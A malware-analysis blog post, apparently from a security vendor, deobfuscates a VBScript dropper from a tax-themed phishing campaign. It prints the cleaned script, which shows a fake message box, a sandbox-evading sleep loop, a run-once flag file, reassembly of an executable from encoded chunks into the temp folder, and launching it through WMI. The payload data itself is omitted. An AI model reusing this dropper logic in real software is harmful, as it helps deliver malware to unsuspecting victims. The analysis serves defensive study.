I See What You Did There

Our neighbors in the Cofense Phishing Defense Center (PDC) recently wrote an article about an interesting phishing email and its associated malware, which can be found here: https://cofense.com/new-phishing-campaign-targets-u-s-taxpayers-dropping-amadey-botnet/

As part of their analysis, they shared an interesting VBscript and I couldn’t resist the urge to deobfuscate it. I was immediately greeted with an eyesore when viewing the VBS in a text editor, there isn’t a newline in sight. So, I rolled my sleeves up, saved the original and got to cleaning this script up.

A quick replace of all colons (:) with a newline (sed, CyberChef, find and replace) cleans it up a bit. But we still have crazy mixed case and long, random function and variable names.

The first thing I like to do is move any long definitions to the top of the script, out of the way. Then move all functions after those long lines, checking whether each function is ever called within the script and deleting the ones that aren’t. This step can be quite slow, but you can quickly see a pattern of junk code injected by an obfuscation tool. Here is one example of a pattern seen throughout this script, 26 times to be exact.

FUNcTioN udhCnVVlvtkcyCZUSassUu() 
 diM CKucdFHfoDEKpPrNtODZyweAHmkYXGpM 
CKucdFHfoDEKpPrNtODZyweAHmkYXGpM=gOCDhebcxT(Array(c8,i8,s,v,w4,q,a8,h7,r,j9,u3,i8,f7,k,g1,c6,u2,l9,j9,n,j6,x4,c3,l4,a8,c,m8,q1,t3,x9,f7,i7)) 
 ENd FUNcTioN

The point of this step is to clearly separate the function calls and the main loop of the script. After finishing this step, we learn three things: the long array definitions are redefined as new variable names, there are many constant and variable definitions, and only 4 functions are called from the main loop. Those 4 functions are hqfRzXl, YLfxCdSbs, jaiYyNXt, and BBdjQWxkY.

I know that this script uses various obfuscation techniques, so a good next step is to locate and remove any more junk code. I quickly locate IF FALSE THEN code blocks; I can also validate that the constants are used within all of the arrays in the script but the long-named variable definitions are never used. By removing this junk code, we can get closer to determining how the script works.

With the junk code removed let’s walk the program logic. The first function called is hqfRzXl; it calls gOCDhebcxT to obfuscate any strings, grabs the username, and creates a MsgBox that includes the username in the message text. It also calls auKnre, which looks like a convoluted sleep function.

The next function called is YLfxCdSbs, which also calls gOCDhebcxT on any arrays. This function is a basic test case to ensure that the payload is only downloaded once. It achieves this by writing a string to a text file if the file doesn’t exist and exiting the script if the file exists. We will need to determine how the strings are obfuscated before we know what string is written and the full path of the text file.

Fig 5. YLfxCdSb Function

Then jaiYyNXt is called. The payload is dropped in this function. We’ll need a better understanding of gOCDhebcxT to fully understand this function, but we can see obvious file operations: Open, CopyTo, SaveToFile, and Close. We also see that the file is built from those long arrays at the top of the script file.

Fig 6. jaiYyNXt Function

Finally, BBdjQWxkY is called and we would expect that it launches the rebuilt payload. Let’s analyze gOCDhebcxT to better understand how it deobfuscates the strings. As I discovered earlier those constant definitions are used within the input arrays to the deobfuscation script. There are 256 constant definitions throughout the script and they are all mapping a random one or two character label to an integer, possibly a character code. So, this decoder function takes those mapped character codes, subtracts 34, and converting it to a character. Now we can create a python function and start cleaning up this script.

At this point I also discovered that letter case does not matter throughout this script and converted everything to lowercase. With the strings decoded and the program logic revealed, we can rename functions and variable names to produce a beautified version of the original script.

function decode(input)
  i=0
  output=""
  do while i =< ubound(input)
    output=output+chrw(input(i)-34)
    i=i+1
  loop
  decode=output
end function

function sleep()
  x=670466326
  do while y < 5054394
    if (y=5054394) then
      wscript.quit
    end if
    if (y=5053785) then
      x=x+1+34
    end if
    y=y+(2-1)
  loop
  if (x=670466326) then
    sleep
  end if
end function

function prompt()
  t1=now()
  username=createobject(decode(array(v6,m3,v,g1,j8,f7,u2,i2,c6,
    c3,u2,x4,r,g1,m8))).username
  res=msgbox(decode(array(q,j8,v9,c3,u4 ))+username+
    decode(array(k3,y1,l5,w5,k3,e1,l5,l5,e4,n4,l5,u4,v,y9,c3,v,m8,
    c3,w4,a7,u4,q8,r,u4,c,d7,v9,j8,v,j8,r,s,a,u4,d7,v,u2,j8,b1,j8,
    u2,j6,u4,w4,c3,u2,c3,v,u2,c3,w4,k1,u4)), vbsystemmodal+vbinformation, 
    decode(array(v6,j8,q8,w4,r,x4,a,u4,j9,c3,h7,c3,q8,w4,c3,g1)))
  t2=now()
  if datediff(decode(array(a)), t1, t2) < 2 then
    sleep
  end if
end function

function getTempFolder(folderspec)
  if folderspec=1 then
    flag=1
  else
    flag=2
  end if
  tempFolder=wscript.createobject("scripting.filesystemobject")
    .getspecialfolder(flag)
  getTempFolder=cstr(tempFolder)+”\”
end function

function checkFlagFile()
  dim fso
  set fso=createobject("scripting.filesystemobject")
  if (fso.fileexists(getTempFolder(2)+"dDnlNaQ”)) then
    wscript.quit
  else
    with fso.createtextfile(getTempFolder(2)+"dDnlNaQ"))
      .write("Shkhrqwq")
      .close
    end with
  end if
end function

function buildFile()
  dim streamOne
  dim streamTwo
  set streamOne=createobject("ADODB.Stream")
  set streamTwo=createobject("ADODB.Stream")
  streamOne.type=2
  streamOne.open()
  chunks=array(bjuvobz,lcykeqcrdn,tmxscf,gqtluntoh,dgcptunu,deqqvbxbp,
    ngyyuov,tchwzkvc,kasfrif,orpwoghmiv,etlgiqdnui,ptkrbq,wutfds,clfrrn,
    ntblbv,sedemuzv,dbzpklyri,rrnywgwg,ekuyrqhso,heztvp,lszmasjlt,
    zrbjclbz,stbhmy,gghwenge,cefqdfo,lhodpmtba,ldcbheh,axxoikf,fkqosv,
    embqgwngj,tupyyhi,smrddeo,imhuvwylmx,cwbetdnu,xjwfmou,lmnsaw,
    ywzuworm,krtzkoxap,cpdaligwn,prhpnvlgki,xivksbxxs,nqnsqxgxwm,
    hgxbxx,rijfkyvxs,toutpeve,oivvxdzkf,qafxhmy,jhdzrcrms,yagtlxq,ltngccb)
  for each file in chunks
    streamOne.writetext decode(file)
  next
  streamOne.position=0
  streamTwo.type=2
  streamTwo.charset="ISO-8859-1"
  streamTwo.open()
  streamOne.copyto(streamTwo)
  streamTwo.savetofile getTempFolder(2)+"ZjOexiPr.exe",2
  streamOne.close()
  streamTwo.close()
end function

function runFile()
  set proc=getobject("winmgmts:Win32_Process")
  proc.create getTempFolder(2)+"ZjOexiPr.exe",null,null,processid
end function

prompt1
prompt1
checkFlagFile
buildFile
runFile

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.